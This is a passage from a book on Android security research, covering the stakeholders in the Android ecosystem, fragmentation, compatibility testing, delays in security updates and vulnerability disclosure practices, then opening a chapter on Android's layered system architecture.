devices from Google’s flagship Nexus line contain code that ships as proprietary binary blobs. Examples include boot loaders, peripheral firmware, radio
components, digital rights management (DRM) software, and applications.
Many of these remain closed source in an effort to protect intellectual property.
However, keeping them closed source hinders interoperability, making community porting efforts more challenging.
Further, many open source enthusiasts trying to work with the code find that
Android isn’t fully developed in the open. Evidence shows that Google develops
Android largely in secret. Code changes are not made available to the public
immediately after they are made. Instead, open source releases accompany new
version releases. Unfortunately, several times the open source code was not made
available at release time. In fact, the source code for Android Honeycomb (3.0)
was not made available until the source code for Ice Cream Sandwich (4.0) was
released. In turn, the Ice Cream Sandwich source code wasn’t released until
almost a month after the official release date. Events like these detract from
the spirit of open source software, which goes against two of Android’s stated
goals: innovation and openness.
Understanding Android Stakeholders
Understanding exactly who has a stake in the Android ecosystem is important.
Not only does it provide perspective, but it also allows one to understand who
is responsible for developing the code that supports various components. This
section walks through the main groups of stakeholders involved, including
Google, hardware vendors, carriers, developers, users, and security researchers.
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This section explores each stakeholder’s purpose and motivations, and it examines how the stakeholders relate to each other.
Each group is from a different field of industry and serves a particular purpose in the ecosystem. Google, having given birth to Android, develops the
core operating system and manages the Android brand. Hardware fabricators
make the underlying hardware components and peripherals. OEMs make the
end-user devices and manage the integration of the various components that
make a device work. Carriers provide voice and data access for mobile devices. A
vast pool of developers, including those who are employed by members of other
groups, work on a multitude of projects that come together to form Android.
Figure 1-4 shows the relationships between the main groups of ecosystem
stakeholders.
Google
All levels
System-on-Chip
Manufacturers
Kernel, Radio
OEMs
All levels
Carriers
Apps, boot loader
and radio reqs
Consumers
Figure 1-4: Ecosystem relationships
These relationships indicate who talks to who when creating or updating
an Android device. As the figure clearly shows, the Android ecosystem is very
complex. Such business relationships are difficult to manage and lead to a variety
of complexities that are covered later in this chapter. Before getting into those
issues, it’s time to discuss each group in more detail.
Google
As the company that brought Android to market, Google has several key
roles in the ecosystem. Its responsibilities include legal administration, brand
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management, infrastructure management, in-house development, and enabling
outside development. Also, Google builds its line of Nexus devices in close
cooperation with its partners. In doing so, it strikes the business deals necessary
to make sure that great devices running Android actually make it to market.
Google’s ability to execute on all of these tasks well is what makes Android
appealing to consumers.
First and foremost, Google owns and manages the Android brand. OEMs cannot legally brand their devices as Android devices or provide access to Google
Play unless the devices meet Google’s compatibility requirements. (The details
of these requirements are covered in more depth in the “Compatibility” section
later in this chapter.) Because Android is open source, compatibility enforcement is one of the few ways that Google can influence what other stakeholders
can do with Android. Without it, Google would be largely powerless to prevent
the Android brand from being tarnished by a haphazard or malicious partner.
The next role of Google relates to the software and hardware infrastructure
needed to support Android devices. Services that support apps such as Gmail,
Calendar, Contacts, and more are all run by Google. Also, Google runs Google
Play, which includes rich media content delivery in the form of books, magazines, movies, and music. Delivering such content requires licensing agreements
with distribution companies all over the world. Additionally, Google runs the
physical servers behind these services in their own data centers, and the company provides several crucial services to the AOSP, such as hosting the AOSP
sources, factory image downloads, binary driver downloads, an issue tracker,
and the Gerrit code review tool.
Google oversees the development of the core Android platform. Internally, it
treats the Android project as a full-scale product development operation. The
software developed inside Google includes the operating system core, a suite
of core apps, and several optional non-core apps. As mentioned previously,
Google develops innovations and enhancements for future Android versions in
secret. Google engineers use an internal development tree that is not visible to
device manufacturers, carriers, or third-party developers. When Google decides
its software is ready for release, it publishes factory images, source code, and
application programming interface (API) documentation simultaneously. It also
pushes updates out via over-the-air (OTA) distribution channels. After a release
is in AOSP, everyone can clone it and start their work building their version of
the latest release. Separating development in this fashion enables developers
and device manufacturers to focus on a single version without having to track
the unfinished work of Google’s internal teams. As true as this may be, closed
development detracts from the credence of AOSP as an open source project.
Yet another role for Google lies in fostering an open development community
that uses Android as a platform. Google provides third-party developers with
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development kits, API documentation, source code, style guidance, and more.
All of these efforts help create a cohesive and consistent experience across multiple third-party applications.
By fulfilling these roles, Google ensures the vitality of the Android as a brand,
a platform, and an open source project.
Hardware Vendors
The purpose of an operating system is to provide services to applications and
manage hardware connected to the device. After all, without hardware the
Android operating system software wouldn’t serve much purpose. The hardware
of today’s smartphones is very complex. With such a small form factor and lots
of peripherals, supporting the necessary hardware is quite an undertaking. In
order to take a closer look at the stakeholders in this group, the following sections break down hardware vendors into three subgroups that manufacture
central processing units (CPUs), System-on-Chip (SoC), and devices, respectively.
CPU Manufacturers
Although Android applications are processor agnostic, native binaries are
not. Instead, native binaries are compiled for the specific processor used by a
particular device. Android is based on the Linux kernel, which is portable and
supports a multitude of processor architectures. Similarly, Android’s Native
Development Kit (NDK) includes tools for developing user-space native code
for all application processor architectures supported by Android. This includes
ARM, Intel x86, and MIPS.
Due to its low power consumption, the ARM architecture has become the
most widely used architecture in mobile devices. Unlike other microprocessor
corporations that manufacture their own CPUs, ARM Holdings only licenses
its technology as intellectual property. ARM offers several microprocessor core
designs, including the ARM11, Cortex-A8, Cortex-A9, and Cortex-A15. The designs
usually found on Android devices today feature the ARMv7 instruction set.
In 2011, Intel and Google announced a partnership to provide support for
Intel processors in Android. The Medfield platform, which features an Atom
processor, was the first Intel-based platform supported by Android. Also, Intel
launched the Android on Intel Architecture (Android-IA) project. This project is
based on AOSP and provides code for enabling Android on Intel processors. The
Android-IA website at https://01.org/android-ia/ is targeted at system and
platform developers whereas the Intel Android Developer website at http://
software.intel.com/en-us/android/ is targeted at application developers.
Some Intel-based smartphones currently on the market include an Intel proprietary binary translator named libhoudini. This translator allows running
applications built for ARM processors on Intel-based devices.
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MIPS Technologies offers licenses to its MIPS architecture and microprocessor
core designs. In 2009, MIPS Technologies ported Google’s Android operating
system to the MIPS processor architecture. Since then, several device manufacturers have launched Android devices running on MIPS processors. This is
especially true for set-top boxes, media players, and tablets. MIPS Technologies
offers source code for its Android port, as well as other development resources,
at http://www.imgtec.com/mips/developers/mips-android.asp.
System-on-Chip Manufacturers
System-on-Chip (SoC) is the name given to a single piece of silicon that includes
the CPU core, along with a graphics processing unit (GPU), random access
memory (RAM), input/output (I/O) logic, and sometimes more. For example,
many SoCs used in smartphones include a baseband processor. Currently, most
SoCs used in the mobile industry include more than one CPU core. Combining
the components on a single chip reduces manufacturing costs and decreases
power consumption, ultimately leading to smaller and more efficient devices.
As mentioned previously, ARM-based devices dominate the Android device
pool. Within ARM devices, there are four main SoC families in use: OMAP from
Texas Instruments, Tegra from nVidia, Exynos from Samsung, and Snapdragon
from Qualcomm. These SoC manufacturers license the CPU core design from
ARM Holdings. You can find a full list of licensees on ARM’s website at www.arm.
com/products/processors/licensees.php. With the exception of Qualcomm,
SoC manufacturers use ARM’s designs without modification. Qualcomm invests
additional effort to optimize for lower power consumption, higher performance,
and better heat dissipation.
Each SoC has different components integrated into it and therefore requires
different support in the Linux kernel. As a result, development for each SoC is
tracked separately in a Git repository specific to that SoC. Each tree includes
SoC-specific code including drivers and configurations. On several occasions,
this separation has led to vulnerabilities being introduced into only a subset
of the SoC-specific kernel source repositories. This situation contributes to
one of the key complexities in the Android ecosystem, which is discussed
further in the “Grasping Ecosystem Complexities” section later in this chapter.
Device Manufacturers
Device manufacturers, including original design manufacturers (ODMs) and
OEMs, design and build the products used by consumers. They decide which
combination of hardware and software will make it into the final unit and take
care of all of the necessary integration. They choose the hardware components
that will be combined together, the device form factor, screen size, materials,
battery, camera lens, sensors, radios, and so on. Usually device manufacturers
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partner up with a SoC manufacturer for a whole line of products. Most choices
made when creating a new device relate directly to market differentiation,
targeting a particular customer segment, or building brand loyalty.
While developing new products, device manufacturers have to adapt the
Android platform to work well on its new hardware. This task includes adding
new kernel device drivers, proprietary bits, and user-space libraries. Further,
OEMs often make custom modifications to Android, especially in the Android
Framework. To comply with the GPLv2 license of the Android kernel, OEMs are
forced to release kernel sources. However, the Android Framework is licensed
under the Apache 2.0 License, which allows modifications to be redistributed
in binary form without having to release the source code. This is where most
vendors try to put their innovations to differentiate their devices from others. For
example, the Sense and Touchwiz user interface modifications made by HTC and
Samsung are implemented primarily in the Android Framework. Such modifications are a point of contention because they contribute to several complex,
security-related problems in the ecosystem. For example, customizations may
introduce new security issues. You can read more about these complexities in
the “Grasping Ecosystem Complexities” section, later in this chapter.
Carriers
Aside from providing mobile voice and data services, carriers close deals with
device manufacturers to subsidize phones to their clients. The phones obtained
through a carrier usually have a carrier-customized software build. These builds
tend to have the carrier logo in the boot screen, preconfigured Access Point Name
(APN) network settings, changes in the default browser home page and browser
bookmarks, and a lot of pre-loaded applications. Most of the time these changes
are embedded into the system partition so that they cannot be removed easily.
In addition to adding customization to the device’s firmware, carriers also have
their own quality assurance (QA) testing procedures in place. These QA processes
are reported to be lengthy and contribute to the slow uptake of software updates.
It is very common to see an OEM patch a security hole in the operating system
for its unbranded device while the carrier-branded device remains vulnerable
for much longer. It’s not until the update is ready to be distributed to the carrier devices that subsidized users are updated. After they have been available
for some time, usually around 12 to 18 months, devices are discontinued. Some
devices are discontinued much more quickly—in a few cases even immediately
after release. After that point, any users still using such a device will no longer
receive updates, regardless of whether they are security related or not.
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Developers
As an open source operating system, Android is an ideal platform for
developers to play with. Google engineers are not the only people contributing
code to the Android platform. There are a lot of individual developers and entities who contribute to AOSP on their own behalf. Every contribution to AOSP
(coming either from Google or from a third party) has to use the same code style
and be processed through Google’s source code review system, Gerrit. During
the code review process, someone from Google decides whether to include or
exclude the changes.
Not all developers in the Android ecosystem build components for the operating system itself. A huge portion of developers in the ecosystem are application
developers. They use the provided software development kits (SDKs), frameworks,
and APIs to build apps that enable end users to achieve their goals. Whether
these goals are productivity, entertainment, or otherwise, app developers aim
to meet the needs of their user base.
In the end, developers are driven by popularity, reputation, and proceeds.
App markets in the Android ecosystem offer developers incentives in the form of
revenue sharing. For example, advertisement networks pay developers for placing ads in their applications. In order to maximize their profits, app developers
try to become extremely popular while maintaining an upstanding reputation.
Having a good reputation, in turn, drives increased popularity.
Custom ROMs
The same way manufacturers introduce their own modifications to the Android
platform, there are other custom firmware projects (typically called ROMs) developed by communities of enthusiasts around the world. One of the most popular
Android custom firmware projects is CyanogenMod. With 9.5 million active installs
in December 2013, it is developed based on the official releases of Android with
additional original and third-party code. These community-modified versions of
Android usually include performance tweaks, interface enhancements, features,
and options that are typically not found in the official firmware distributed with
the device. Unfortunately, they often undergo less extensive testing and quality
assurance. Further, similar to the situation with OEMs, modifications made in
custom ROMs may introduce additional security issues.
Historically, device manufacturers and mobile carriers have been unsupportive of third-party firmware development. To prevent users from using
custom ROMs, they place technical obstacles such as locked boot loaders or
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NAND locks. However, custom ROMs have grown more popular because
they provide continued support for older devices that no longer receive official
updates. Because of this, manufacturers and carriers have softened their positions regarding unofficial firmware. Over time, some have started shipping
devices with unlocked or unlockable boot loaders, similar to Nexus devices.
Users
Android would not be the thriving community that it is today without its massive user base. Although each individual user has unique needs and desires,
they can be classified into one of three categories. The three types of end users
include general consumers, power users, and security researchers.
Consumers
Since Android is the top-selling smartphone platform, end users enjoy a wide
range of devices to choose from. Consumers want a single, multifunction device
with personal digital assistant (PDA) functions, camera, global position system
(GPS) navigation, Internet access, music player, e-book reader, and a complete
gaming platform. Consumers usually look for a productivity boost, to stay
organized, or stay in touch with people in their lives, to play games on the go
and to access information from various sources on the Internet. On top of all
this, they expect a reasonable level of security and privacy.
The openness and flexibility of Android is also apparent to consumers. The
sheer number of available applications, including those installable from sources
outside official means, is directly attributable to the open development community. Further, consumers can extensively customize their devices by installing third-party launchers, home screen widgets, new input methods, or even
full custom ROMs. Such flexibility and openness is often the deciding factor
for those who choose Android over competing smartphone operating systems.
Power Users
The second type of user is a special type of consumer called power users in this
text. Power users want to have the ability to use features that are beyond what
is enabled in stock devices. For example, users who want to enable Wi-Fi tethering on their devices are considered members of this group. These users are
intimately familiar with advanced settings and know the limitations of their
devices. They are much less averse to the risk of making unofficial changes to
the Android operating system, including running publicly available exploits to
gain elevated access to their devices.
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Security Researchers
You can consider security researchers a subset of power users, but they have
additional requirements and differing goals. These users can be motivated by
fame, fortune, knowledge, openness, protecting systems, or some combination
of these ideals. Regardless of their motivations, security researchers aim to
discover previously unknown vulnerabilities in Android. Conducting this type
of research is far easier when full access to a device is available. When elevated
access is not available, researchers usually seek to obtain elevated access first.
Even with full access, this type of work is challenging.
Achieving the goals of a security researcher requires deep technical knowledge. Being a successful security researcher requires a solid understanding of
programming languages, operating system internals, and security concepts.
Most researchers are competent in developing, reading, and writing several different programming languages. In some ways, this makes security researchers
members of the developers group, too. It’s common for security researchers to
study security concepts and operating system internals at great length, including staying on top of cutting edge information.
The security researcher ecosystem group is the primary target audience of
this book, which has a goal of both providing base knowledge for budding
researchers and furthering the knowledge of established researchers.
Grasping Ecosystem Complexities
The OHA includes pretty much all major Android vendors, but some parties
are working with different goals. Some of these goals are competing. This leads
to various partnerships between manufacturers and gives rise to some massive
cross-organizational bureaucracy. For example, Samsung memory division is
one of the world’s largest manufacturers of NAND flash. With around 40 percent
market share, Samsung produces dynamic random access memory (DRAM)
and NAND memory even for devices made by competitors of its mobile phones
division. Another controversy is that although Google does not directly earn
anything from the sale of each Android device, Microsoft and Apple have
successfully sued Android handset manufacturers to extract patent royalty
payments from them. Still, this is not the full extent of the complexities that
plague the Android ecosystem.
Apart from legal battles and difficult partnerships, the Android ecosystem
is challenged by several other serious problems. Fragmentation in both hardware and software causes complications, only some of which are addressed by
Google’s compatibility standards. Updating the Android operating system itself
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remains a significant challenge for all of the ecosystem stakeholders. Strong
roots in open source further complicate software update issues, giving rise to
increased exposure to known vulnerabilities. Members of the security research
community are troubled with the dilemma of deciding between security and
openness. This dilemma extends to other stakeholders as well, leading to a
terrible disclosure track record. The following sections discuss each of these
problem areas in further detail.
Fragmentation
The Android ecosystem is rampant with fragmentation, due to the differences
between the multitudes of various Android devices. The open nature of Android
makes it ideal for mobile device manufacturers to build their own devices based
off the platform. As a result, the device pool is made up of many different devices
from many different manufacturers. Each device is composed of a variety of
software and hardware, including OEM or carrier-specific modifications. Even
on the same device, the version of Android itself might vary from one carrier
or user to another. Because of all of these differences, consumers, developers,
and security researchers wrestle with fragmentation regularly.
Although fragmentation has relatively little effect on consumers, it is slightly
damaging to the Android brand. Consumers accustomed to using Samsung
devices who switch to a device from HTC are often met with a jarring experience. Because Samsung and HTC both highly customize the user experience
of their devices, users have to spend some time reacquainting themselves with
how to use their new devices. The same is also true for longtime Nexus device
users who switch to OEM-branded devices. Over time, consumers may grow
tired of this issue and decide to switch to a more homogeneous platform. Still,
this facet of fragmentation is relatively minor.
Application developers are significantly more affected by fragmentation
than consumers. Issues primarily arise when developers attempt to support
the variety of devices in the device pool (including the software that runs on
them). Testing against all devices is very expensive and time intensive. Although
using the emulator can help, it’s not a true representation of what users on actual
devices will encounter. The issues developers must deal with include differing
hardware configurations, API levels, screen sizes, and peripheral availability.
Samsung has more than 15 different screen sizes for its Android devices, ranging
from 2.6 inches to 10.1 inches. Further, High-Definition Multimedia Interface
(HDMI) dongles and Google TV devices that don’t have a touchscreen require
specialized input handling and user interface (UI) design. Dealing with all of
this fragmentation is no easy task, but thankfully Google provides developers
with some facilities for doing so.
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Developers create applications that perform well across different devices, in
part, by doing their best to hide fragmentation issues. To deal with differing
screen sizes, the Android UI framework allows applications to query the device
screen size. When an app is designed properly, Android automatically adjusts
application assets and UI layouts appropriately for the device. Google Play also
allows app developers to deal with differing hardware configurations by declaring requirements within the application itself. A good example is an application
that requires a touchscreen. On a device without a touchscreen, viewing such an
app on Google Play shows that the app does not support the device and cannot
be installed. The Android application Support Library transparently deals with
some API-level differences. However, despite all of the resources available, some
compatibility issues remain. Developers are left to do their best in these corner
cases, often leading to frustration. Again, this weakens the Android ecosystem
in the form of developer disdain.
For security, fragmentation is both positive and negative, depending mostly on
whether you take the perspective of an attacker or a defender. Although attackers might easily find exploitable issues on a particular device, those issues are
unlikely to apply to devices from a different manufacturer. This makes finding
flaws that affect a large portion of the ecosystem difficult. Even when equipped
with such a flaw, variances across devices complicate exploit development. In
many cases, developing a universal exploit (one that works across all Android
versions and all devices) is not possible. For security researchers, a comprehensive audit would require reviewing not only every device ever made, but also
every revision of software available for those devices. Quite simply put, this is an
insurmountable task. Focusing on a single device, although more approachable,
does not paint an adequate picture of the entire ecosystem. An attack surface
present on one device might not be present on another. Also, some components
are more difficult to audit, such as closed source software that is specific to each
device. Due to these challenges, fragmentation simultaneously makes the job
of an auditor more difficult and helps prevent large-scale security incidents.
Compatibility
One complexity faced by device manufacturers is compatibility. Google, as
the originator of Android, is charged with protecting the Android brand. This
includes preventing fragmentation and ensuring that consumer devices are
compatible with Google’s vision. To ensure device manufacturers comply with
the hardware and software compatibility requirements set by Google, the company publishes a compatibility document and a test suite. All manufacturers
who want to distribute devices under the Android brand have to follow these
guidelines.
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Compatibility Definition Document
The Android Compatibility Definition Document (CDD) available at http://source
.android.com/compatibility/ enumerates the software and hardware requirements of a “compatible” Android device. Some hardware must be present on
all Android devices. For example, the CDD for Android 4.2 specifies that all
device implementations must include at least one form of audio output, and
one or more forms of data networking capable of transmitting data at 200K
bit/s or greater. However, the inclusion of various peripherals is left up to the
device manufacturer. If certain peripherals are included, the CDD specifies
some additional requirements. For example, if the device manufacturer decides
to include a rear-facing camera, then the camera must have a resolution of at
least 2 megapixels. Devices must follow CDD requirements to bear the Android
moniker and, further, to ship with Google’s applications and services.
Compatibility Test Suite
The Android Compatibility Test Suite (CTS) is an automated testing harness that
executes unit tests from a desktop computer to the attached mobile devices.
CTS tests are designed to be integrated into continuous build systems of the
engineers building a Google-certified Android device. Its intent is to reveal
incompatibilities early on, and ensure that the software remains compatible
throughout the development process.
As previously mentioned, OEMs tend to heavily modify parts of the Android
Framework. The CTS makes sure that APIs for a given version of the platform
are unmodified, even after vendor modifications. This ensures that application developers have a consistent development experience regardless of who
produced the device.
The tests performed in the CTS are open source and continually evolving.
Since May 2011, the CTS has included a test category called security that centralizes tests for security bugs. You can review the current security tests in the
master branch of AOSP at https://android.googlesource.com/platform/
cts/+/master/tests/tests/security.
Update Issues
Unequivocally, the most important complexity in the Android ecosystem relates
to the handling of software updates, especially security fixes. This issue is fueled
by several other complexities in the ecosystem, including third-party software,
OEM customizations, carrier involvement, disparate code ownership, and more.
Problems keeping up with upstream open source projects, technical issues with
deploying operating system updates, lack of back-porting, and a defunct alliance
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are at the heart of the matter. Overall, this is the single largest factor contributing to the large number of insecure devices in use in the Android ecosystem.
Update Mechanisms
The root cause of this issue stems from the divergent processes involved in
updating software in Android. Updates for apps are handled differently than
operating system updates. An app developer can deploy a patch for a security
flaw in his app via Google Play. This is true whether the app is written by
Google, OEMs, carriers, or independent developers. In contrast, a security flaw
in the operating system itself requires deploying a firmware upgrade or OTA
update. The process for creating and deploying these types of updates is far
more arduous.
For example, consider a patch for a flaw in the core Android operating system. A patch for such an issue begins with Google fixing the issue first. This is
where things get tricky and become device dependent. For Nexus devices, the
updated firmware can be released directly to end users at this point. However,
updating an OEM-branded device still requires OEMs to produce a build
including Google’s security fix. In another twist, OEMs can deliver the updated
firmware directly to end users of unlocked OEM devices at this point. For carriersubsidized devices, the carrier must prepare its customized build including the
fix and deliver it to the customer base. Even in this simple example, the update
path for operating system vulnerabilities is far more complicated than application updates. Additional problems coordinating with third-party developers or
low-level hardware manufacturers could also arise.
Update Frequency
As previously mentioned, new versions of Android are adopted quite slowly.
In fact, this particular issue has spurred public outcry on several occasions. In
April 2013, the American Civil Liberties Union (ACLU) filed a complaint with
the Federal Trade Commission (FTC). They stated that the four major mobile
carriers in the U.S. did not provide timely security updates for the Android
smartphones they sell. They further state that this is true even if Google has
published updates to fix exploitable security vulnerabilities. Without receiving
timely security updates, Android cannot be considered a mature, safe, or secure
operating system. It’s no surprise that people are looking for government action
on the matter.
The time delta between bug reporting, fix development, and patch deployment
varies widely. The time between bug reporting and fix development is often
short, on the order of days or weeks. However, the time between fix development
and that fix getting deployed on an end user’s device can range from weeks to
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months, or possibly never. Depending on the particular issue, the overall patch
cycle could involve multiple ecosystem stakeholders. Unfortunately, end users
pay the price because their devices are left vulnerable.
Not all security updates in the Android ecosystem are affected by these
complexities to the same degree. For example, apps are directly updated by
their authors. App authors’ ability to push updates in a timely fashion has led
to several quick patch turnarounds in the past. Additionally, Google has proven
their ability to deploy firmware updates for Nexus devices in a reasonable time
frame. Finally, power users sometimes patch their own devices at their own risk.
Google usually patches vulnerabilities in the AOSP tree within days or weeks
of the discovery. At this point, OEMs can cherry-pick the patch to fix the vulnerability and merge it into their internal tree. However, OEMs tend to be slow in
applying patches. Unbranded devices usually get updates faster than carrier
devices because they don’t have to go through carrier customizations and carrier approval processes. Carrier devices usually take months to get the security
updates, if they ever get them.
Back-porting
The term back-porting refers to the act of applying the fix for a current version
of software to an older version. In the Android ecosystem, back-ports for security fixes are mostly nonexistent. Consider a hypothetical scenario: The latest
version of Android is 4.2. If a vulnerability is discovered that affects Android
4.0.4 and later, Google fixes the vulnerability only in 4.2.x and later versions.
Users of prior versions such as 4.0.4 and 4.1.x are left vulnerable indefinitely. It
is believed that security fixes may be back-ported in the event of a widespread
attack. However, no such attack is publicly known at the time of this writing.
Android Update Alliance
In May 2011, during Google I/O, Android Product Manager Hugo Barra announced
the Android Update Alliance. The stated goal of this initiative was to encourage partners to make a commitment to update their Android devices for at
least 18 months after initial release. The update alliance was formed by HTC,
LG, Motorola, Samsung, Sony Ericsson, AT&T, T-Mobile, Sprint, Verizon, and
Vodafone. Unfortunately, the Android Update Alliance has never been mentioned again after the initial announcement. Time has shown that the costs of
developing new firmware versions, issues with legacy devices, problems in
newly released hardware, testing problems on new versions, or development
issues could stand in the way of timely updates happening. This is especially
problematic on poorly selling devices where carriers and manufacturers have
no incentive to invest in updates.
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Updating Dependencies
Keeping up with upstream open source projects is a cumbersome task. This
is especially true in the Android ecosystem because the patch lifecycle is so
extended. For example, the Android Framework includes a web browser engine
called WebKit. Several other projects also use this engine, including Google’s
own Chrome web browser. Chrome happens to have an admirably short patch
lifecycle, on the order of weeks. Unlike Android, it also has a successful bug
bounty program in which Google pays for and discloses discovered vulnerabilities with each patch release. Unfortunately, many of these bugs are present in the code used by Android. Such a bug is often referred to as a half-day
vulnerability. The term is born from the term half-life, which measures the rate
at which radioactive material decays. Similarly, a half-day bug is one that is
decaying. Sadly, while it decays, Android users are left exposed to attacks that
may leverage these types of bugs.
Security versus Openness
One of the most profound complexities in the Android ecosystem is between
power users and security-conscious vendors. Power users want and need to
have unfettered access to their devices. Chapter 3 discusses the rationale behind
these users’ motivations further. In contrast, a completely secure device is in
the best interests of vendors and everyday end users. The needs of power users
and vendors give rise to interesting challenges for researchers.
As a subset of all power users, security researchers face even more challenging decisions. When researchers discover security issues, they must decide
what they do with this information. Should they report the issue to the vendor?
Should they disclose the issue openly? If the researcher reports the issue, and
the vendor fixes it, it might hinder power users from gaining the access they
desire. Ultimately, each researcher’s decision is driven by individual motivations. For example, researchers routinely withhold disclosure when a publicly
viable method to obtain access exists. Doing so ensures that requisite access is
available in the event that vendors fix the existing, publicly disclosed methods.
It also means that the security issues remain unpatched, potentially allowing
malicious actors to take advantage of them. In some cases, researchers choose
to release heavily obfuscated exploits. By making it difficult for the vendors to
discover the leveraged vulnerability, power users are able to make use of the
exploit longer. Many times, the vulnerabilities used in these exploits can only
be used with physical access to the device. This helps strike a balance between
the conflicting wants of these two stakeholder groups.
Vendors also struggle to find a balance between security and openness. All
vendors want satisfied customers. As mentioned previously, vendors modify
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Android in order to please users and differentiate themselves. Bugs can be
introduced in the process, which detracts from overall security. Vendors must
decide whether to make such modifications. Also, vendors support devices after
they are purchased. Power user modifications can destabilize the system and
lead to unnecessary support calls. Keeping support costs low and protecting
against fraudulent warranty replacements are in the vendors’ best interests. To
deal with this particular issue, vendors employ boot loader locking mechanisms.
Unfortunately, these mechanisms also make it more difficult for competent
power users to modify their devices. To compromise, many vendors provide
ways for end users to unlock devices. You can read more about these methods
in Chapter 3.
Public Disclosures
Last but not least, the final complexity relates to public disclosures, or public
announcement, of vulnerabilities. In information security, these announcements
serve as notice for system administrators and savvy consumers to update the
software to remediate discovered vulnerabilities. Several metrics, including full
participation in the disclosure process, can be used to gauge a vendor’s security
maturity. Unfortunately, such disclosures are extremely rare in the Android
ecosystem. Here we document known public disclosures and explore several
possible reasons why this is the case.
In 2008, Google started the android-security-announce mailing list on
Google groups. Unfortunately, the list contains only a single post introducing
the list. You can find that single message at https://groups.google.com/d/
msg/android-security-announce/aEba2l7U23A/vOyOllbBxw8J. After the initial
post, not a single official security announcement was ever made. As such, the
only way to track Android security issues is by reading change logs in AOSP,
tracking Gerrit changes, or separating the wheat from chaff in the Android
issue tracker at https://code.google.com/p/android/issues/list. These
methods are time consuming, error prone, and unlikely to be integrated into
vulnerability assessment practices.
Although it is not clear why Google has not followed through with their
intentions to deliver security announcements, there are several possible reasons.
One possibility involves the extended exposure to vulnerabilities ramping in
the Android ecosystem. Because of this issue, it’s possible that Google views
publicly disclosing fixed issues as irresponsible. Many security professionals,
including the authors of this text, believe that the danger imposed by such
a disclosure is far less than that of the extended exposure itself. Yet another
possibility involves the complex partnerships between Google, device manufacturers, and carriers. It is easy to see how disclosing a vulnerability that remains
present in a business partner’s product could be seen as bad business. If this
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is the case, it means Google is prioritizing a business relationship before the
good of the public.
Google aside, very few other Android stakeholders on the vendor side have
conducted public disclosures. Many OEMs have avoided public disclosure
entirely, even shying away from press inquiries about hot-button vulnerabilities.
For example, while HTC has a disclosure policy posted at www.htc.com/www/
terms/product-security/, the company has never made a public disclosure
to date. On a few occasions, carriers have mentioned that their updates include
“important security fixes.” On even fewer occasions, carriers have even referenced public CVE numbers assigned to specific issues.
The Common Vulnerabilities and Exposures (CVE) project aims to create a central, standardized tracking number for vulnerabilities. Security professionals,
particularly vulnerability experts, use these numbers to track issues in software
or hardware. Using CVE numbers greatly improves the ability to identify and
discuss an issue across organizational boundaries. Companies that embrace
the CVE project are typically seen as the most mature since they recognize the
need to document and catalog past issues in their products.
Of all of the stakeholders on the vendor side, one has stood out as taking
public disclosure seriously. That vendor is Qualcomm, with its Code Aurora
forum. This group is a consortium of companies with projects serving the mobile
wireless industry and is operated by Qualcomm. The Code Aurora website has
a security advisories page available at https://www.codeaurora.org/projects/
security-advisories, with extensive details about security issues and CVE
numbers. This level of maturity is one that other stakeholders should seek to
follow so that the security of the Android ecosystem as a whole can improve.
In general, security researchers are the biggest proponents of public disclosures
in the Android ecosystem. Although not every security researcher is completely
forthcoming, they are responsible for bringing issues to the attention of all of the
other stakeholders. Often issues are publicly disclosed by independent researchers or security companies on mailing lists, at security conferences, or on other
public forums. Increasingly, researchers are coordinating such disclosures with
stakeholders on the vendor side to safely and quietly improve Android security.
Summary
In this chapter you have seen how the Android operating system has grown
over the years to conquer the mobile operating system (OS) market from the
bottom up. The chapter walked you through the main players involved in the
Android ecosystem, explaining their roles and motivations. You took a close
look at the various problems that plague the Android ecosystem, including how
they affect security. Armed with a deep understanding of Android’s complex
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ecosystem, one can easily pinpoint key problem areas and apply oneself more
effectively to the problem of Android security.
The next chapter provides an overview of the security design and architecture
of Android. It dives under the hood to show how Android works, including
how security mechanisms are enforced.
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CHAPTER
2
Android Security Design
and Architecture
Android is comprised of several mechanisms playing a role in security checking
and enforcement. Like any modern operating system, many of these mechanisms interact with each other, exchanging information about subjects (apps/
users), objects (other apps, files, devices), and operations to be performed (read,
write, delete, and so on). Oftentimes, enforcement occurs without incident; but
occasionally, things slip through the cracks, affording opportunity for abuse.
This chapter discusses the security design and architecture of Android, setting
the stage for analyzing the overall attack surface of the Android platform.
Understanding Android System Architecture
The general Android architecture has, at times, been described as “Java on
Linux.” However, this is a bit of a misnomer and doesn’t entirely do justice to the
complexity and architecture of the platform. The overall architecture consists
of components that fall into five main layers, including Android applications,
the Android Framework, the Dalvik virtual machine, user-space native code,
and the Linux kernel. Figure 2-1 shows how these layers comprise the Android
software stack.
25
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Launcher2
Email
Gallery
Calendar
Calculator
Stock Android Apps
Phone
AlarmClock
Settings Camera
Mms
DeskClock
Browser Bluetooth
Contacts ...
Your Apps/Market Apps
App
API
android.*
Binder
Power Manager
Activity Manager
Package Manager
Battery Manager
System Services
Mount Service
Notification Manager
Location Manager
Surface Flinger
Status Bar Manager
Sensor Service
Window Manager
...
java.*
(Apache Harmony)
Dalvik/Android Runtime/Zygote
JNI
Libraries
Bionic/OpenGL/WebKit/...
Hardware
Abstraction Layer
Native Daemons
Init/Toolbox
Linux Kernel
Wakelocks/Lowmem/Binder/Ashmem/Logger/RAM Console/...
Figure 2-1: General Android system architecture
Source: Karim Yaghmour of Opersys Inc. (Creative Commons Share-Alike 3.0 license)
http://www.slideshare.net/opersys/inside-androids-ui
Android applications allow developers to extend and improve the functionality
of a device without having to alter lower levels. In turn, the Android Framework
provides developers with a rich API that has access to all of the various facilities
an Android device has to offer—the “glue” between apps and the Dalvik virtual
machine. This includes building blocks to enable developers to perform common
tasks such as managing user interface (UI) elements, accessing shared data stores,
and passing messages between application components.
Both Android applications and the Android Framework are developed in the
Java programming language and execute within the Dalvik virtual machine
(DalvikVM). This virtual machine (VM) was specially designed to provide an
efficient abstraction layer to the underlying operating system. The DalvikVM
is a register-based VM that interprets the Dalvik Executable (DEX) byte code
format. In turn, the DalvikVM relies on functionality provided by a number of
supporting native code libraries.
The user-space native code components of Android includes system services,
such as vold and DBus; networking services, such as dhcpd and wpa_supplicant;
and libraries, such as bionic libc, WebKit, and OpenSSL. Some of these services
and libraries communicate with kernel-level services and drivers, whereas others
simply facilitate lower-level native operations for managed code.
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Android's underpinning is the Linus kernel. Android made numerous additions
and changes to the kernel source tree, some of which have their own security
ramifications. We discuss these issues in greater detail in Chapters 3, 10, and
12. Kernel-level drivers also provide additional functionality, such as camera
access, Wi-Fi, and other network device access. Of particular note is the Binder
driver, which implements inter-process communication (IPC).
The “Looking Closer at the Layers” section later in this chapter examines key
